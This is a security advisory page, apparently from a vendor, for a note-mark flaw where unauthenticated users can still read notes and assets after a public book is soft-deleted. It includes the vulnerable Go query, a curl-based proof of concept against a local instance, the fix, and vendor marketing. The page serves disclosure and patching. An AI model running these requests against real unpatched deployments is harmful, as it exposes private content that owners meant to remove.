GHSA-3gr9-485j-v4xf
MEDIUMGHSA-3gr9-485j-v4xf is a medium-severity (CVSS 5.3) vulnerability in github.com/enchant97/note-mark/backend. O3 Security confirms whether GHSA-3gr9-485j-v4xf is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.
Note Mark: Unauthenticated read of notes and assets in soft-deleted public books
Blast Radius
github.com/enchant97/note-mark/backendReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.
Description
Summary
After a note-mark owner soft-deletes a public book, its notes and uploaded assets stay readable at /api/notes/{id}, /api/notes/{id}/content, the slug URL, and the asset endpoints. Unauthenticated callers who hold the note ID or the slug path retain access. GORM's soft-delete scope does not reach the raw JOIN books ... clauses used by the note and asset queries.
Details
DELETE /api/books/{bookID} sets books.deleted_at to the current time. The book-level endpoint starts returning 404, which matches the owner's expectation that the book is gone. The note service and asset service query notes with a raw join that does not filter books.deleted_at IS NULL:
// backend/services/notes.go:91-98 (GetNoteByID)
func (s NotesService) GetNoteByID(currentUserID *uuid.UUID, noteID uuid.UUID) (db.Note, error) {
var note db.Note
return note, dbErrorToServiceError(db.DB.
Preload("Book").
Joins("JOIN books ON books.id = notes.book_id").
Where("owner_id = ? OR is_public = ?", currentUserID, true).
First(¬e, "notes.id = ?", noteID).Error)
}
GORM applies its soft-delete scope to the primary model of a query (here, notes) and to implicit Joins("Book") association clauses. It does not rewrite raw SQL passed to Joins. The soft-deleted book row keeps is_public = true, so the WHERE owner_id = ? OR is_public = ? clause still evaluates true for any caller on a book that was public at deletion time. For an unauthenticated caller (currentUserID = nil), owner_id = NULL fails but is_public = true passes, so the note query returns the row.
note-mark has a restore flow at PUT /api/notes/{noteID}/restore (backend/services/notes.go:232-262) that un-deletes the note and the parent book in one transaction. Owner access to soft-deleted notes is deliberate for that path; the comment at line 253 spells out the intent. The bug is that is_public = true survives the deletion, so unauthenticated callers keep access the owner chose to revoke.
The same raw-join pattern repeats at 9 more call sites in backend/services/notes.go (lines 79, 95, 107, 129, 143, 174, 206, 237, 276) and 4 call sites in backend/services/assets.go (lines 29, 73, 106, 143). Every public endpoint that reads a note or an asset inherits the bug.
Proof of Concept
Tested against note-mark v0.19.2.
Step 1: Start note-mark.
docker run -d --name note-mark-poc -p 8088:8080 \
ghcr.io/enchant97/note-mark-backend:0.19.2
Step 2: Alice signs up and logs in.
curl -X POST http://localhost:8088/api/users \
-H 'Content-Type: application/json' \
-d '{"username":"alice","password":"Alicepass123!","name":"Alice"}'
curl -c alice.cookies -X POST http://localhost:8088/api/auth/token \
-H 'Content-Type: application/json' \
-d '{"grant_type":"password","username":"alice","password":"Alicepass123!"}'
Step 3: Alice creates a public book and adds a note with content. Save the IDs from each response.
curl -b alice.cookies -X POST http://localhost:8088/api/books \
-H 'Content-Type: application/json' \
-d '{"name":"Alice Public Book","slug":"public-book","isPublic":true}'
# {"id":"<BOOK_ID>", ...}
curl -b alice.cookies -X POST http://localhost:8088/api/books/<BOOK_ID>/notes \
-H 'Content-Type: application/json' \
-d '{"name":"Secret Note","slug":"secret-note"}'
# {"id":"<NOTE_ID>", ...}
curl -b alice.cookies -X PUT http://localhost:8088/api/notes/<NOTE_ID>/content \
-H 'Content-Type: text/plain' \
--data 'This is Alice secret note content.'
Step 4: Bob (no cookie) reads the note while the book is still live. This is expected for a public book.
curl http://localhost:8088/api/notes/<NOTE_ID>/content
# This is Alice secret note content.
Step 5: Alice soft-deletes the book.
curl -b alice.cookies -X DELETE http://localhost:8088/api/books/<BOOK_ID>
# HTTP/1.1 204 No Content
Step 6: The book endpoint 404s. The note endpoints still serve Alice's content to Bob.
curl -w "\n%{http_code}\n" http://localhost:8088/api/books/<BOOK_ID>
# 404
curl -w "\n%{http_code}\n" http://localhost:8088/api/notes/<NOTE_ID>
# {"id":"<NOTE_ID>","name":"Secret Note", ...}
# 200
curl http://localhost:8088/api/notes/<NOTE_ID>/content
# This is Alice secret note content.
curl http://localhost:8088/api/slug/alice/books/public-book/notes/secret-note
# {"id":"<NOTE_ID>","name":"Secret Note", ...}
A companion script that drives Steps 1-6 ships at pocs/poc_005_bac_soft_deleted_book.sh.
Impact
Any owner who soft-deletes a public book expecting the content to drop off the internet is wrong. Notes, markdown content, and uploaded assets stay readable for every unauthenticated caller who knows the note ID or the slug path. Slugs are human-readable and change hands in documentation, notes, and bug trackers. The leak covers every public note and asset endpoint, not a single handler. Private books are not affected because is_public = false and owner_id = NULL both fail the visibility check for non-owners.
Recommended Fix
Add a soft-delete filter to the visibility clause on every raw Joins("JOIN books ..."). Keep the owner's access intact so the restore flow at PUT /api/notes/{id}/restore continues to work:
// backend/services/notes.go:91-98 (GetNoteByID)
return note, dbErrorToServiceError(db.DB.
Preload("Book").
Joins("JOIN books ON books.id = notes.book_id").
Where("(books.deleted_at IS NULL OR books.owner_id = ?)", currentUserID).
Where("owner_id = ? OR is_public = ?", currentUserID, true).
First(¬e, "notes.id = ?", noteID).Error)
The same transform applies to each of the 13 call sites in backend/services/notes.go (lines 79, 95, 107, 129, 143, 174, 206, 237, 276) and backend/services/assets.go (lines 29, 73, 106, 143). backend/cli/clean.go:31 uses the same join pattern but is a maintenance CLI and does not need the fix.
Found by aisafe.io
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐹Go | github.com/enchant97/note-mark/backend | all versions | 0.0.0-20260417132843-d1bf845a2a2d |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/enchant97/note-mark/backend. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update github.com/enchant97/note-mark/backend to 0.0.0-20260417132843-d1bf845a2a2d or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-3gr9-485j-v4xf is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-3gr9-485j-v4xf is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-3gr9-485j-v4xf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-3gr9-485j-v4xf in your dependencies?
O3 detects GHSA-3gr9-485j-v4xf across Go dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.